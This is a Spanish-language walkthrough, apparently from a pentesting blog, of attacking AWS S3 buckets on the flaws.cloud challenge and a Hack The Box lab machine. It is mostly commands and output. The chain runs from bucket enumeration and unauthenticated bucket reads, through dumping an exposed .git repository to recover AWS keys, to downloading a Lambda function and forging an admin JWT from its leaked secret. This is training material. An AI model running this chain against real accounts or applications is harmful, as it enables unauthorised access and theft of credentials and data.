Amazon Web Services

Explotación de S3 Buckets

Featured image

AWS (Amazon Web Services) es una plataforma de servicios en la nube ofrecida por Amazon que proporciona una amplia variedad de servicios de infraestructura como servicio (IaaS), plataforma como servicio (PaaS) y software como servicio (SaaS).

Un concepto fundamental en AWS, especialmente cuando se trata del servicio de almacenamiento S3 (Simple Storage Service), son los “buckets”. Un bucket es básicamente un contenedor de almacenamiento en la nube donde puedes guardar datos en forma de objetos. Piensa en un bucket como una carpeta raíz en tu sistema de archivos local, pero diseñada para ser accesible a través de la web.

Cada objeto en un bucket se identifica de forma única mediante una clave, que es como un nombre de archivo, y puede contener tanto el contenido del archivo como metadatos asociados. Los buckets son globales en todo el servicio de AWS S3, lo que significa que cada bucket debe tener un nombre único a nivel global.

Los buckets se utilizan comúnmente para:

AWS ofrece varias políticas y mecanismos de seguridad para controlar quién puede acceder a tus buckets y cómo pueden interactuar con ellos. También proporciona funcionalidades como la versión de objetos, registros de acceso y otras características avanzadas.

Enumeración

Lazys3

Esta herramienta sirve para encontrar buckets de S3 que pueden haber sido mal configurados o expuestos al público, lo que podría representar un riesgo de seguridad para la organización que posee esos buckets.

┌─[root@kali]─[/home/user/aws]
└──╼ git clone https://github.com/nahamsec/lazys3

LazyS3 busca buckets de S3 utilizando diversas técnicas de enumeración de nombres, basadas en palabras clave o patrones que el usuario puede especificar. Una vez identificados, estos buckets pueden ser examinados más a fondo para ver si contienen información sensible o están configurados de manera que permitan el acceso no autorizado.

┌─[root@kali]─[/home/user/aws]
└──╼ ruby lazys3.rb flaws.cloud  
Generated wordlist from file, 9013 items...
Found bucket: flaws.cloud (200)
Found bucket: flaws.cloud-media.development (404)

Cloud_enum

Es una herramienta de enumeración de recursos en la nube que puede ser utilizada para descubrir recursos expuestos públicamente en varios servicios de nube, como AWS (Amazon Web Services), Microsoft Azure y Google Cloud Platform.

┌─[root@kali]─[/home/user/aws]
└──╼ apt install cloud_enum

Para este escenario, desactivaremos los servicios de nube de Google y Microsoft, ya que nuestro enfoque estará exclusivamente en Amazon Web Services.

┌─[root@kali]─[/home/user/aws]
└──╼ cloud_enum -k flaws.cloud --disable-azure --disable-gcp

##########################
        cloud_enum
   github.com/initstring
##########################


Keywords:    flaws.cloud
Mutations:   /opt/AWS/cloud_enum/enum_tools/fuzz.txt
Brute-list:  /opt/AWS/cloud_enum/enum_tools/fuzz.txt

[+] Mutations list imported: 242 items
[+] Mutated results: 1453 items

++++++++++++++++++++++++++
      amazon checks
++++++++++++++++++++++++++

[+] Checking for S3 buckets
  OPEN S3 BUCKET: http://flaws.cloud.s3.amazonaws.com/
      FILES:
      ->http://flaws.cloud.s3.amazonaws.com/flaws.cloud
      ->http://flaws.cloud.s3.amazonaws.com/hint1.html
      ->http://flaws.cloud.s3.amazonaws.com/hint2.html
      ->http://flaws.cloud.s3.amazonaws.com/hint3.html
      ->http://flaws.cloud.s3.amazonaws.com/index.html
      ->http://flaws.cloud.s3.amazonaws.com/logo.png
      ->http://flaws.cloud.s3.amazonaws.com/robots.txt
      ->http://flaws.cloud.s3.amazonaws.com/secret-dd02c7c.html
                            
 Elapsed time: 00:01:46

[+] Checking for AWS Apps
[*] Brute-forcing a list of 1453 possible DNS names
                            
 Elapsed time: 00:00:44


[+] All done, happy hacking!

Como se puede apreciar la herramienta encuentra un bucket de S3 que está abierto. Enumera varios archivos y recursos accesibles dentro de ese bucket.

Se recomienda también la extensión S3BucketList.

Explotación

Ataque sin autenticación

Durante el proceso de enumeración, se identificó un bucket S3 que está configurado como público. Para acceder a este bucket debemos realizar lo siguiente por medio de la utilidad awscli y el parámetro --no-sign-request:

apt install awscli

┌─[root@kali]─[/home/user/aws]
└──╼ aws s3 ls s3://flaws.cloud/ --no-sign-request
2017-03-13 23:00:38       2575 hint1.html
2017-03-02 23:05:17       1707 hint2.html
2017-03-02 23:05:11       1101 hint3.html
2020-05-22 14:16:45       3162 index.html
2018-07-10 12:47:16      15979 logo.png
2017-02-26 20:59:28         46 robots.txt
2017-02-26 20:59:30       1051 secret-dd02c7c.html

Una vez detectamos archivos sensibles podemos descargarlos de la siguiente forma:

┌─[root@kali]─[/home/user/aws]
└──╼ aws s3 cp s3://flaws.cloud/secret-dd02c7c.html . --no-sign-request
download: s3://flaws.cloud/secret-dd02c7c.html to ./secret-dd02c7c.html
┌─[root@kali]─[/home/user/aws]
└──╼ cat secret-dd02c7c.html 
<html>
    <head>
        <title>flAWS</title>
        <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
        <style>
            body { font-family: Andale Mono, monospace; }
            :not(center) > pre { background-color: #202020; padding: 4px; border-radius: 5px; border-color:#00d000; 
            border-width: 1px; border-style: solid;} 
        </style>
    </head>
<body 
  text="#00d000" 
  bgcolor="#000000"  
  style="max-width:800px; margin-left:auto ;margin-right:auto"
  vlink="#00ff00" link="#00ff00">
    
<center>
<pre >
 _____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_ 
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  '  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|
</pre>

<h1>Congrats! You found the secret file!</h1>
</center>


Level 2 is at <a href="http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud">http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud</a> 

Ataque con autenticación

Para realizar un ataque de autenticación debemos considerar quizás alguna falla de configuración que exponga los siguientes datos:

Estos datos nos van a permitir configurar un perfil (a veces no es necesario ocupar el parámetro --profile).

┌─[root@kali]─[/home/user/aws]
└──╼ aws configure --profile <Nombre de perfil>

Finalmente podremos descargar libremente el archivo anteriormente encontrado.

┌─[root@kali]─[/home/user/aws]
└──╼ aws s3 --profile <Nombre de Perfil> cp s3://flaws.cloud/secret-dd02c7c.html .
download: s3://flaws.cloud/secret-dd02c7c.html to ./secret-dd02c7c.html

Ejemplo

A continuación se muestra un ejemplo de como es posible encontrar una divulgación de información que nos permita acceder por medio de un ataque con autenticación.

┌─[root@kali]─[/home/user/aws]
└──╼ nmap -sVC -p22,80,5000 10.10.11.134                      
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-02 19:40 EDT
Nmap scan report for 10.10.11.134
Host is up (0.14s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: 403 Forbidden
| http-git: 
|   10.10.11.134:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
|_http-server-header: Apache/2.4.41 (Ubuntu)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.69 seconds

Nmap ya nos entrega un claro indicio de un repositorio .git encontrado, sin embargo seguiremos enumerando por medio de la herramienta gobuster.

┌─[root@kali]─[/home/user/aws]
└──╼ gobuster dir -u http://10.10.11.134 -w /usr/share/wordlists/OneListForAll/onelistforallshort.txt -t 300 -b 400,401,404,500 -k --no-error --exclude-length 277
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.134
[+] Method:                  GET
[+] Threads:                 300
[+] Wordlist:                /usr/share/wordlists/OneListForAll/onelistforallshort.txt
[+] Negative Status codes:   401,404,500,400
[+] Exclude Length:          277
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git                 (Status: 301) [Size: 311] [--> http://10.10.11.134/.git/]
/.git/branches        (Status: 301) [Size: 320] [--> http://10.10.11.134/.git/branches/]
/.git/config          (Status: 200) [Size: 92]
/.git/description     (Status: 200) [Size: 73]
/.git/hooks           (Status: 301) [Size: 317] [--> http://10.10.11.134/.git/hooks/]
/.git/info            (Status: 301) [Size: 316] [--> http://10.10.11.134/.git/info/]
/.git/index           (Status: 200) [Size: 225]
/.git/info/exclude    (Status: 200) [Size: 240]
/.git/logs/refs       (Status: 301) [Size: 321] [--> http://10.10.11.134/.git/logs/refs/]
/.git/logs/refs/heads (Status: 301) [Size: 327] [--> http://10.10.11.134/.git/logs/refs/heads/]
/.git/logs            (Status: 301) [Size: 316] [--> http://10.10.11.134/.git/logs/]
/.git/logs/refs/heads/master (Status: 200) [Size: 613]
/.git/objects         (Status: 301) [Size: 319] [--> http://10.10.11.134/.git/objects/]
/.git/refs            (Status: 301) [Size: 316] [--> http://10.10.11.134/.git/refs/]
/.git/refs/heads      (Status: 301) [Size: 322] [--> http://10.10.11.134/.git/refs/heads/]
/.git/refs/heads/master (Status: 200) [Size: 41]
/.git/refs/tags       (Status: 301) [Size: 321] [--> http://10.10.11.134/.git/refs/tags/]
/server.py            (Status: 200) [Size: 1670]
Progress: 352185 / 352185 (100.00%)
===============================================================
Finished
===============================================================

Se encuentran diversos directorios del repositorio git anteriormente mencionado y un archivo en python llamado server.py.

┌─[root@kali]─[/home/user/aws/]
└──╼ wget http://10.10.11.134/server.py                                     
--2023-09-02 21:27:46--  http://10.10.11.134/server.py
Connecting to 10.10.11.134:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1670 (1.6K) [text/x-python]
Saving to: ‘server.py’

server.py                                                   100%[========================================================================================================================================>]   1.63K  --.-KB/s    in 0s      

2023-09-02 21:27:46 (10.7 MB/s) - ‘server.py’ saved [1670/1670]

Al descargar el archivo podemos observar que se trata de un servidor web en Python que utiliza el framework Flask y JWT (JSON Web Tokens) para la autenticación. El script define varias rutas HTTP (/, /home, /track, /order). Al enviar un formulario con el nombre de usuario y la contraseña como “admin”, se crea un token JWT que se almacena en una cookie. Este token se verifica en las rutas subsiguientes para autenticar al usuario. Las rutas /home, /track, y /order ofrecen diferentes páginas HTML según si el usuario está autenticado o no. En resumen, el código representa una aplicación web sencilla con autenticación básica a través de JWT.

┌─[root@kali]─[/home/user/aws/]
└──╼ cat server.py
#!/usr/bin/python3

import jwt
from flask import *

app = Flask(__name__)
secret = '<secret_key>'

def verify_jwt(token,key):
	try:
		username=jwt.decode(token,key,algorithms=['HS256',])['username']
		if username:
			return True
		else:
			return False
	except:
		return False

@app.route("/", methods=["GET","POST"])
def index():
	if request.method=="POST":
		if request.form['username']=="admin" and request.form['password']=="admin":
			res = make_response()
			username=request.form['username']
			token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
			res.set_cookie("auth",token)
			res.headers['location']='/home'
			return res,302
		else:
			return render_template('index.html')
	else:
		return render_template('index.html')

@app.route("/home")
def home():
	if verify_jwt(request.cookies.get('auth'),secret):
		return render_template('home.html')
	else:
		return redirect('/',code=302)

@app.route("/track",methods=["GET","POST"])
def track():
	if request.method=="POST":
		if verify_jwt(request.cookies.get('auth'),secret):
			return render_template('track.html',message=True)
		else:
			return redirect('/',code=302)
	else:
		return render_template('track.html')

@app.route('/order',methods=["GET","POST"])
def order():
	if verify_jwt(request.cookies.get('auth'),secret):
		if request.method=="POST":
			costume=request.form["costume"]
			message = '''
			Your order of "{}" has been placed successfully.
			'''.format(costume)
			tmpl=render_template_string(message,costume=costume)
			return render_template('order.html',message=tmpl)
		else:
			return render_template('order.html')
	else:
		return redirect('/',code=302)
app.run(debug='true')

Tras analizar el código, retomamos el tema del repositorio Git. Utilizaremos la herramienta git-dumper para llevar a cabo ciertas operaciones adicionales en el repositorio. Esta utilidad nos permitirá extraer información valiosa o incluso clonar el repositorio Git en cuestión.

┌─[root@kali]─[/home/user/aws]
└──╼ git clone https://github.com/arthaud/git-dumper
┌─[root@kali]─[/home/user/aws/git-dumper]
└──╼ pip3 install -r requirements.txt

Nos clonamos el repositorio git en nuestro directorio /aws.

┌─[root@kali]─[/home/user/aws/git-dumper]
└──╼ python3 git_dumper.py http://10.10.11.134/ ../
Warning: Destination '../' is not empty
[-] Testing http://10.10.11.134/.git/HEAD [200]
[-] Testing http://10.10.11.134/.git/ [403]
[-] Fetching common files
[-] Fetching http://10.10.11.134/.git/COMMIT_EDITMSG [200]
[-] Fetching http://10.10.11.134/.gitignore [404]
[-] http://10.10.11.134/.gitignore responded with status code 404
[-] Fetching http://10.10.11.134/.git/description [200]
[-] Fetching http://10.10.11.134/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/commit-msg.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/post-commit.sample [404]
[-] http://10.10.11.134/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://10.10.11.134/.git/hooks/pre-receive.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/update.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/post-receive.sample [404]
[-] http://10.10.11.134/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://10.10.11.134/.git/hooks/post-update.sample [200]
[-] Fetching http://10.10.11.134/.git/objects/info/packs [404]
[-] http://10.10.11.134/.git/objects/info/packs responded with status code 404
[-] Fetching http://10.10.11.134/.git/info/exclude [200]
[-] Fetching http://10.10.11.134/.git/hooks/pre-commit.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/pre-push.sample [200]
[-] Fetching http://10.10.11.134/.git/index [200]
[-] Finding refs/
[-] Fetching http://10.10.11.134/.git/HEAD [200]
[-] Fetching http://10.10.11.134/.git/info/refs [404]
[-] http://10.10.11.134/.git/info/refs responded with status code 404
[-] Fetching http://10.10.11.134/.git/config [200]
[-] Fetching http://10.10.11.134/.git/logs/refs/heads/master [200]
[-] Fetching http://10.10.11.134/.git/logs/HEAD [200]
[-] Fetching http://10.10.11.134/.git/ORIG_HEAD [200]
[-] Fetching http://10.10.11.134/.git/FETCH_HEAD [404]
[-] http://10.10.11.134/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://10.10.11.134/.git/logs/refs/remotes/origin/master [404]
[-] http://10.10.11.134/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://10.10.11.134/.git/packed-refs [404]
[-] http://10.10.11.134/.git/packed-refs responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/heads/master [200]
[-] Fetching http://10.10.11.134/.git/refs/remotes/origin/HEAD [404]
[-] http://10.10.11.134/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/wip/wtree/refs/heads/master [404]
[-] Fetching http://10.10.11.134/.git/refs/remotes/origin/master [404]
[-] http://10.10.11.134/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/wip/index/refs/heads/master [404]
[-] http://10.10.11.134/.git/refs/remotes/origin/master responded with status code 404
[-] http://10.10.11.134/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/stash [404]
[-] http://10.10.11.134/.git/refs/stash responded with status code 404
[-] Fetching http://10.10.11.134/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://10.10.11.134/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://10.10.11.134/.git/logs/refs/stash [404]
[-] http://10.10.11.134/.git/logs/refs/stash responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://10.10.11.134/.git/objects/7c/f92a7a09e523c1c667d13847c9ba22464412f3 [200]
[-] Fetching http://10.10.11.134/.git/objects/ce/401ccecf421ff19bf43fafe8a60a0d0f0682d0 [200]
[-] Fetching http://10.10.11.134/.git/objects/b1/0dd06d56ac760efbbb5d254ea43bf9beb56d2d [200]
[-] Fetching http://10.10.11.134/.git/objects/c6/22771686bd74c16ece91193d29f85b5f9ffa91 [200]
[-] Fetching http://10.10.11.134/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://10.10.11.134/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://10.10.11.134/.git/objects/8d/3b52e153c7d5380b183bbbb51f5d4020944630 [200]
[-] Fetching http://10.10.11.134/.git/objects/c5/1441640fd25e9fba42725147595b5918eba0f1 [200]
[-] Fetching http://10.10.11.134/.git/objects/df/dfa17ca5701b1dca5069b6c3f705a038f4361e [200]
[-] Fetching http://10.10.11.134/.git/objects/5c/52105750831385d4756111e1103957ac599d02 [200]
[-] Fetching http://10.10.11.134/.git/objects/b5/f4c99c772eeb629e53d284275458d75ed9a010 [200]
[-] Fetching http://10.10.11.134/.git/objects/65/b80f62da28254f67f0bea392057fd7d2330e2d [200]
[-] Fetching http://10.10.11.134/.git/objects/cf/489a3776d2bf87ac32de4579e852a4dc116ce8 [200]
[-] Fetching http://10.10.11.134/.git/objects/ab/07f7cdc7f410b8c8f848ee5674ec550ecb61ca [200]
[-] Fetching http://10.10.11.134/.git/objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34 [200]
[-] Fetching http://10.10.11.134/.git/objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca [200]
[-] Running git checkout .

Una vez realizado este procedimiento, obtenemos un código en python que nos entrega un endpoint (cloud.epsilon.htb).

# nano track_api_CR_148.py
import io
import os
from zipfile import ZipFile
from boto3.session import Session


session = Session(
    aws_access_key_id='<aws_access_key_id>',
    aws_secret_access_key='<aws_secret_access_key>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')


def files_to_zip(path):
    for root, dirs, files in os.walk(path):
        for f in files:
            full_path = os.path.join(root, f)
            archive_name = full_path[len(path) + len(os.sep):]
            yield full_path, archive_name


def make_zip_file_bytes(path):
    buf = io.BytesIO()
    with ZipFile(buf, 'w') as z:
        for full_path, archive_name in files_to_zip(path=path):
            z.write(full_path, archive_name)
    return buf.getvalue()


def update_lambda(lambda_name, lambda_code_path):
    if not os.path.isdir(lambda_code_path):
        raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
    aws_lambda.update_function_code(
        FunctionName=lambda_name,
        ZipFile=make_zip_file_bytes(path=lambda_code_path))

Lo agregamos a nuestro /etc/hosts para que cualquier solicitud al sistema para resolver estos nombres de dominio será redirigida directamente a la dirección IP especificada.

┌─[root@kali]─[/home/user/aws/]
└──╼ nano /etc/hosts
10.10.11.134 epsilon.htb cloud.epsilon.htb

Observamos también el directorio .git que nos permitirá navegar a través de los commits.

┌─[root@kali]─[/home/user/aws/]
└──╼ ls -a
.  ..  allPorts  .git  git-dumper  server.py  track_api_CR_148.py

Con el siguiente comando mostraremos una lista de commits para la rama actual.

┌─[root@kali]─[/home/user/aws/]
└──╼ git log            
commit c622771686bd74c16ece91193d29f85b5f9ffa91 (HEAD -> master)
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 17:41:07 2021 +0000

    Fixed Typo

commit b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:02:59 2021 +0000

    Adding Costume Site

commit c51441640fd25e9fba42725147595b5918eba0f1
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:58 2021 +0000

    Updatig Tracking API

commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:28 2021 +0000

Para ver los cambios realizados en uno de los commits ocuparemos el siguiente comando:

┌─[root@kali]─[/home/user/aws/]
└──╼ git show  7cf92a7a09e523c1c667d13847c9ba22464412f3
commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:28 2021 +0000

    Adding Tracking API Module

diff --git a/track_api_CR_148.py b/track_api_CR_148.py
new file mode 100644
index 0000000..fed7ab9
--- /dev/null
+++ b/track_api_CR_148.py
@@ -0,0 +1,36 @@
+import io
+import os
+from zipfile import ZipFile
+from boto3.session import Session
+
+
+session = Session(
+    aws_access_key_id='AQLA5M37BDN6FJP76TDC',
+    aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+    region_name='us-east-1',

Se ha conseguido detectar los parámetros que nos permitirán realizar un ataque autenticado, por lo que procederemos a configurar el perfil.

┌─[root@kali]─[/home/user/aws/]
└──╼ aws configure                                            
AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB
Default region name [None]: us-east-1
Default output format [None]: json

Ahora podremos navegar a través del endpoint, en el cual listaremos todas las funciones lambda disponibles.

┌─[root@kali]─[/home/user/aws/]
└──╼ aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions 
{
    "Functions": [
        {
            "FunctionName": "costume_shop_v1",
            "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
            "Runtime": "python3.7",
            "Role": "arn:aws:iam::123456789012:role/service-role/dev",
            "Handler": "my-function.handler",
            "CodeSize": 478,
            "Description": "",
            "Timeout": 3,
            "LastModified": "2023-09-02T22:49:49.458+0000",
            "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
            "Version": "$LATEST",
            "VpcConfig": {},
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "4ce5eca2-2aa9-44a3-8d2a-cb03d7dad80c",
            "State": "Active",
            "LastUpdateStatus": "Successful",
            "PackageType": "Zip"
        }
   ]
}

Para buscar una función específica, se puede utilizar el siguiente método:

┌─[root@kali]─[/home/user/aws/]
└──╼ aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name=costume_shop_v1
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
        "Description": "",
        "Timeout": 3,
        "LastModified": "2023-09-02T22:49:49.458+0000",
        "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
        "Version": "$LATEST",
        "VpcConfig": {},
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "4ce5eca2-2aa9-44a3-8d2a-cb03d7dad80c",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip"
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    },
    "Tags": {}
}

Sin analizamos el json presentado anteriormente detectaremos que nos entregan dos parámetros claves:

Teniendo la dirección URL, podremos decargar el ZIP.

┌─[root@kali]─[/home/user/aws/]
└──╼ wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code                                 
--2023-09-02 21:09:14--  http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
Resolving cloud.epsilon.htb (cloud.epsilon.htb)... 10.10.11.134
Connecting to cloud.epsilon.htb (cloud.epsilon.htb)|10.10.11.134|:80... connected.
HTTP request sent, awaiting response... 200 
Length: 478 [application/zip]
Saving to: ‘code’

code                                                        100%[========================================================================================================================================>]     478  --.-KB/s    in 0s      

2023-09-02 21:09:14 (52.5 MB/s) - ‘code’ saved [478/478]

Dado que el archivo se descargó sin la extensión .zip, la añadiremos manualmente, luego procederemos a extraer su contenido y a visualizarlo.

┌─[root@kali]─[/home/user/aws/]
└──╼ mv code code.zip

┌─[root@kali]─[/home/user/aws/]
└──╼ unzip code.zip     
Archive:  code.zip
  inflating: lambda_function.py 

┌─[root@kali]─[/home/user/aws/]
└──╼ cat lambda_function.py 
import json

secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124

'''Beta release for tracking'''
def lambda_handler(event, context):
    try:
        id=event['queryStringParameters']['order_id']
        if id:
            return {
               'statusCode': 200,
               'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
            }
        else:
            return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }
    except:
        return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }

El script incluye una variable llamada secret, que parece estar utilizada para la autorización en un servicio API Gateway, según el comentario en el código (#apigateway authorization for CR-124).

Para terminar ocuparemos PyJWT e importaremos la biblioteca jwt en una terminal Python y luego codificar un JWT (JSON Web Token) utilizando la misma secret que se encuentra en el script lambda_function.py. Esto sugiere que la función Lambda y este token podrían estar relacionados de alguna manera, posiblemente en el contexto de la autorización.

pip3 install pyjwt

┌─[root@kali]─[/home/user/aws/]
└──╼ python3           
Python 3.11.4 (main, Jun  7 2023, 10:13:09) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import jwt
>>> encoded_jwt = jwt.encode({"username": "admin"}, "RrXCv`mrNe!K!4+5`wYq", algorithm="HS256")
>>> print (encoded_jwt)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4

Referencia: encoded_jwt = jwt.encode({“some”: “payload”}, “secret”, algorithm=”HS256”)

Finalmente guardamos el token en el navegador de la aplicación web del puerto 5000 encontrado por nmap en un inicio, recordando que del script server.py nos indica como debe ir el nombre del parámetro con partes del código como res.set_cookie("auth",token):

aws1

Al recargar la página web y navegar por el directorio /home encontrado del script en python server.py, observaremos que hemos iniciado sesión como el usuario administrador.

aws2